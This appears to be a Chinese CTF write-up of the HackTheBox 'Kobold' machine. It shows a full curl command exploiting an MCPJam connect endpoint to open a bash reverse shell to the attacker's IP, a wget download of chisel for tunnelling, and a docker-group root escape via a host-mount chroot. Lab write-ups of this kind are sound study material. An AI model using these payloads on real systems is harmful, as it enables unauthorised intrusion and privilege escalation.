type
Post
status
Published
date
May 12, 2026
slug
summary
tags
category
category (1)
icon
password
comment
靶机ip:10.129.245.50 10.129.35.81
本机ip:10.10.16.170
先用fscan扫描端口
notion image
访问一下80端口
notion image
扫描子域名
notion image
得到两个子域名bin.kobold.htb mcp.kobold.htb
访问mcp子域名
notion image
去网上查找MCPJam是否有相关的漏洞
进行反弹shell
curl https://mcp.kobold.htb/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\", \"bash -i >& /dev/tcp/10.10.16.170/8085 0>&1\"],\"env\":{}},\"serverId\":\"mytest\"}" -k
notion image
notion image
本来想着直接用最新的cve内核提权的,但是没ben的密码
使用ps -ef 查看进程
notion image
发现docker容器的8080端口被映射到了本地的8080端口上,这边我们不知道ssh连接的密码,所以内网的端口映射我们得依靠chisel不能用ssh
上传chisel到靶机wget http://10.10.16.170:8000/chisel
notion image
在靶机上执行chisel server -p 1337 --reverse
notion image
在本机上执行chisel client 10.129.245.50:1337 127.0.0.1:8080:127.0.0.1:8080
notion image
本地访问发现就是和dev.kobold.htb域名的网站一样,跳过
最后选择直接非预期,用最近出现的提权漏洞CVE-2026-31431(称为 "Copy Fail")
notion image
notion image
接下来是不用非预期解题
我们先查看ben的组别
notion image
在查看一下root启动的进程的信息ps -ef | grep root
notion image
可以看到root执行了docker容器,我们先试一下newgrp docker 切换到docker组
notion image
查看docker的所有镜像docker image ls
notion image
我们发现了mysql镜像,那么我们就可以通过利用这个镜像将根目录挂载进docker容器里,然后利用docker容器里是root权限,读取root对flag
docker run -it --rm -v /:/mnt/host mysql chroot /mnt/host /bin/bash
notion image
notion image
notion image
notion image
可以看到我是在隔离的容器之中的,只不过访问到了本地挂载的所有目录
 
0xGame2024HTB Silentium
Loading...